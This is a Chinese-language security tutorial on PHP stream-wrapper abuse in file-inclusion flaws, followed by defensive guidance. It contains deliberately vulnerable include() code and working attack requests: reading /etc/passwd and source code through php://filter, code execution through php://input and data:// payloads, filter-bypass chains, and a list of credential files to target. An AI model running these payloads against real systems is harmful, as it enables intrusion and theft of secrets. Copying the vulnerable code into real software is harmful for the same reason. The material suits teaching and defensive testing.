1. 项目概述:从“伪协议”到安全认知的深化
最近在内部安全审计和与一些开发朋友的交流中,又频繁遇到了一个老生常谈但威力不减的安全问题:PHP伪协议。很多刚接触安全测试的朋友,或者一些专注于业务开发的工程师,对这个概念的理解可能还停留在“能读文件”的层面。实际上,PHP伪协议,特别是php://input、php://filter与file://、data://等结合不当的上下文,是导致命令执行和任意文件读取漏洞的经典“跳板”。这不仅仅是CTF比赛里的常客,更是真实渗透测试中信息收集和权限提升的关键入口。
简单来说,PHP伪协议是PHP内置的一套用于访问各种输入/输出流(如标准输入输出、文件、数据)的封装协议。当开发者未经严格过滤地将用户输入直接传递给如include()、file_get_contents()、fopen()等文件系统函数时,攻击者就有可能利用这些协议,绕过预期的文件操作逻辑,达到读取敏感文件(如/etc/passwd、源代码)、甚至执行任意代码的目的。这个项目,我们就来彻底拆解PHP伪协议在安全攻防中的核心利用链,理解其原理、掌握其利用手法,并最终转化为我们加固自身应用、进行有效安全测试的实战能力。无论你是安全研究员、渗透测试工程师,还是希望写出更健壮代码的PHP开发者,这篇深度解析都能为你提供清晰的路径和可复现的案例。
2. 核心原理与协议家族深度解析
要理解利用,必须先理解原理。PHP伪协议并非一个单一功能,而是一个家族,每个成员都有其特定的设计用途和上下文环境。它们的共性在于,都以协议名://的格式被PHP引擎识别和处理。
2.1 关键协议成员及其设计初衷
php://input- 设计初衷:访问请求的原始主体(raw body)。在
enctype="multipart/form-data"时不可用。常用于读取POST的原始数据,例如接收XML或JSON请求体。 - 安全关联:当与
include()、require()等函数结合,且服务器配置允许(如allow_url_include=On,但请注意,现代PHP版本默认及安全配置下此选项应为Off),攻击者可以将PHP代码直接写入请求体,从而实现代码执行。这是“命令执行”的常见入口之一。
- 设计初衷:访问请求的原始主体(raw body)。在
php://filter- 设计初衷:对流进行过滤处理。它是一个元封装器,可以对流进行
read、write等操作时应用各种过滤器(如字符串旋转string.rot13、Base64编码转换convert.base64-encode/decode)。 - 安全关联:这是“任意文件读取”的绝对主力。利用其
convert.base64-encode过滤器,可以读取PHP文件本身的内容并以Base64格式输出,从而绕过include执行文件时直接显示源代码的限制,窃取业务逻辑、数据库配置等敏感信息。
- 设计初衷:对流进行过滤处理。它是一个元封装器,可以对流进行
file://- 设计初衷:访问本地文件系统。这是默认的封装协议。
- 安全关联:当用户输入被直接拼接进文件路径时,攻击者可以通过目录遍历(
../../../)或直接指定绝对路径(file:///etc/passwd)来读取服务器上的任意文件。
data://- 设计初衷:数据流封装器,遵循RFC 2397格式,允许在数据URI中内嵌数据。
- 安全关联:格式为
data://text/plain;base64,。当allow_url_include开启时,攻击者可以将PHP代码进行Base64编码后直接内嵌在URL中,传递给include()等函数,实现无需文件落地的代码执行。
zip://,phar://- 设计初衷:分别用于访问ZIP压缩包和PHAR(PHP归档)文件中的条目。
- 安全关联:与反序列化等漏洞结合,可用于构造特殊的压缩包文件,实现文件包含和代码执行,是更高级的攻击向量。
重要认知:这些协议本身并非漏洞,它们是PHP提供的强大功能。漏洞的产生,源于开发者对用户输入的可控数据缺乏足够的过滤和验证,并将其直接传递给了能够处理这些协议的函数。
2.2 漏洞产生的核心链条
一个典型的漏洞利用链通常遵循以下模式:
用户可控输入 -> 未过滤/验证 -> 传入文件操作函数(如 include, file_get_contents) -> PHP引擎解析输入中的伪协议 -> 执行协议对应的操作(读文件/执行代码)例如,一段脆弱的代码可能长这样:
<?php $file = $_GET['page']; // 用户直接控制 include($file . '.php'); ?>攻击者可以传入?page=php://filter/read=convert.base64-encode/resource=index,最终include的参数变成了php://filter/read=convert.base64-encode/resource=index.php,从而读取index.php的Base64编码后的源码。
3. 实战利用:从文件读取到命令执行
理解了原理,我们进入实战环节。我会模拟一个存在漏洞的简单应用场景,并一步步演示如何利用。
3.1 环境搭建与脆弱代码示例
假设我们有一个简单的“文件查看器”功能,代码如下 (vulnerable.php):
<?php // 模拟一个文件包含功能 if(isset($_GET['file'])) { $filename = $_GET['file']; // 危险操作:未经过滤直接包含 include($filename); } else { echo "请通过file参数指定要包含的文件。"; } ?>为了演示,我们假设服务器的PHP配置较为宽松(仅用于学习测试,生产环境绝不可如此),allow_url_include和allow_url_fopen均设置为On。
3.2 利用php://filter实现任意文件读取
这是最常见、最直接的利用方式。目标是读取Web目录外的系统文件或Web目录内PHP文件的源代码。
利用链1:读取系统密码文件
GET /vulnerable.php?file=../../../../etc/passwd HTTP/1.1如果应用有简单的后缀拼接防御(如include($file . '.php')),上述可能失败。此时php://filter大显身手。
利用链2:读取PHP源代码(绕过执行)
GET /vulnerable.php?file=php://filter/read=convert.base64-encode/resource=index HTTP/1.1假设index.php与vulnerable.php在同一目录。resource=后面接的是目标文件的路径(无需后缀)。执行后,页面会显示一串Base64编码。我们只需将其解码:
echo "PD9waHAgZWNobyAiSGVsbG8sIFdvcmxkISI7ID8+Cg==" | base64 -d # 输出: <?php echo "Hello, World!"; ?>这样,我们就成功读取了index.php的源代码,其中可能包含数据库连接信息、API密钥等。
实操心得:过滤器链的妙用php://filter支持多个过滤器串联。例如,有时输出可能被网页HTML包裹,我们可以先用string.rot13处理,避免某些字符被HTML实体编码干扰,然后再解码。
php://filter/read=string.rot13|convert.base64-encode/resource=config.php这个技巧在应对一些简单的输出过滤时很有效。
3.3 利用php://input与data://实现命令执行
当allow_url_include=On时,危险等级急剧上升。
利用链3:通过php://input执行命令攻击者发送一个POST请求:
POST /vulnerable.php?file=php://input HTTP/1.1 Content-Type: application/x-www-form-urlencoded <?php system('id'); ?>服务器端的include函数会读取php://input流的内容(即POST的原始数据<?php system('id'); ?>),并将其作为PHP代码执行,从而输出当前进程的用户信息。
利用链4:通过data://协议执行命令这种方式更直接,通过GET请求即可完成:
GET /vulnerable.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg== HTTP/1.1其中PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==是<?php system('id'); ?>的Base64编码。
严重警告:上述
php://input和data://的利用方式,在allow_url_include默认关闭的现代PHP环境(>=5.2)中通常无法直接成功。但这并不意味着可以高枕无忧,因为错误的配置、遗留的老系统、或特定的组件依赖仍可能导致此开关被开启。
3.4 利用file://进行目录遍历
如果应用只是简单拼接用户输入和基础目录,file://协议或直接使用相对路径即可进行目录遍历。
GET /vulnerable.php?file=file:///etc/passwd HTTP/1.1 GET /vulnerable.php?file=../../../etc/passwd HTTP/1.1防御此类攻击,需要对输入进行规范化,并严格限制可访问的目录范围。
4. 高级利用技巧与组合拳
在实战中,漏洞利用往往不是单一协议就能搞定,需要根据实际情况组合使用。
4.1 利用filter协议进行编码绕过
某些WAF(Web应用防火墙)或简单的输入过滤可能会检测../、etc/passwd等关键词。我们可以利用php://filter的编码功能进行绕过。
例如,目标过滤了flag这个单词。我们可以尝试对路径进行多次编码:
# 原始路径: /var/www/html/flag.php # Base64一次: L3Zhci93d3cvaHRtbC9mbGFnLnBocA== # 利用filter读取 file=php://filter/read=convert.base64-encode/resource=php://filter/read=convert.base64-decode/resource=/var/www/html/flag这个链看起来复杂,其思路是:先尝试用一层Base64解码来“还原”被编码的路径,但实际利用时需要根据过滤逻辑灵活构造。更常见的是使用convert.iconv.*过滤器进行字符集转换来绕过关键词检测。
4.2 利用临时文件与phar协议
在某些文件上传场景中,如果存在本地文件包含漏洞(LFI),但无法直接控制include的内容,可以尝试结合文件上传和phar://协议。
- 上传一个包含恶意代码的图片文件(将PHP代码写入图片的EXIF信息或末尾)。
- 利用文件包含漏洞,包含这个图片文件,但使用
phar://协议指向它。 phar://解析器会尝试解析该文件为PHAR归档,如果文件结构符合一定条件,可能触发反序列化或直接包含内部文件,从而执行代码。
这是一种相对高级的技巧,成功率依赖于服务器环境和对PHAR扩展的支持。
5. 防御策略与安全开发实践
知道了如何攻击,才能更好地防御。作为开发者,必须将以下原则融入开发习惯。
5.1 输入验证与白名单机制
这是最根本、最有效的防御手段。
- 绝对禁止用户输入直接控制文件路径。如果业务必须,则建立严格的白名单。
$allowed_pages = ['home', 'about', 'contact']; $page = $_GET['page']; if (!in_array($page, $allowed_pages)) { die('Invalid page requested.'); } include($page . '.php');- 过滤所有可能的协议标识符。可以检查输入是否以
://开头,或者使用正则表达式严格匹配允许的字符集(如仅字母、数字、下划线、短横线)。
5.2 安全地使用文件操作函数
- 使用
basename()函数:它可以去除路径中的目录部分,只返回文件名,但需注意它可能无法处理非ASCII字符。 - 使用
realpath()和目录锁定:将用户输入与基础目录拼接后,用realpath()获取绝对路径,然后检查该绝对路径是否以你允许的基础目录开头。
$base_dir = '/var/www/html/files/'; $user_file = $_GET['file']; $real_path = realpath($base_dir . $user_file); if ($real_path === false || strpos($real_path, $base_dir) !== 0) { // 路径非法或不在允许的目录内 die('Access denied.'); } // 安全地使用$real_path- 避免使用动态包含:尽可能用路由分发或明确的条件判断代替动态的
include($_GET['page'])。
5.3 服务器配置加固
- 关闭危险的PHP配置:确保
php.ini中以下配置为Off。allow_url_fopen = Off allow_url_include = Offallow_url_include自PHP 5.2起默认即为Off,但务必确认。 - 设置
open_basedir:将PHP可访问的文件限制在指定的目录树中。这是一个重要的安全边界。open_basedir = /var/www/html/:/tmp/ - 最小权限原则:运行PHP-FPM或Apache进程的用户(如
www-data)应仅拥有Web目录的必要读写权限,尤其不能读取/etc、/root等敏感目录。
5.4 代码审计与自动化扫描
- 在代码中搜索危险函数:定期使用工具或人工审计代码,查找
include、require、file_get_contents、fopen、readfile等函数,检查其参数是否用户可控。 - 使用静态应用安全测试(SAST)工具:将SAST工具集成到CI/CD流程中,自动发现潜在的漏洞模式。
6. 作为安全测试者的思维延伸
当我们以测试者身份审视一个系统时,关于PHP伪协议的测试点可以系统化:
- 参数枚举:对所有接收参数(GET, POST, Cookie, Header)进行Fuzz测试,尝试插入
php://filter、file://等协议串。 - 上下文识别:判断参数最终被用于什么函数。是
include(可能导致代码执行),还是file_get_contents(可能导致文件读取)?这决定了利用的最终效果。 - 过滤绕过:如果发现简单的协议名被过滤,尝试大小写变形(
PHP://)、双重编码(%70%68%70...)、使用convert.iconv过滤器、或者利用协议链。 - 信息收集:利用文件读取漏洞,目标不仅仅是
/etc/passwd。应系统性地读取:- Web应用配置文件:
config.php,.env,database.php - 服务器配置文件:
/proc/self/environ(环境变量),/etc/hosts,/etc/apache2/sites-available/000-default.conf - 会话文件:
/tmp/sess_[sessionid] - 日志文件:
/var/log/apache2/access.log(结合LFI可能实现日志注入攻击)
- Web应用配置文件:
- 升级攻击:在获得文件读取能力后,寻找数据库密码、API密钥、源代码中的硬编码凭证,尝试连接数据库、访问内部服务,将文件读取漏洞升级为更严重的漏洞。
在我多年的测试经验里,很多高危漏洞的起点,就是一个不起眼的文件读取。它像一把钥匙,打开了通往系统深处的大门。因此,无论是开发还是测试,对文件操作保持最高的警惕,是构建安全Web应用的基石。防御没有银弹,唯有深刻理解攻击原理,在代码层面严守边界,在配置层面筑牢防线,才能有效抵御此类经久不衰的攻击手法。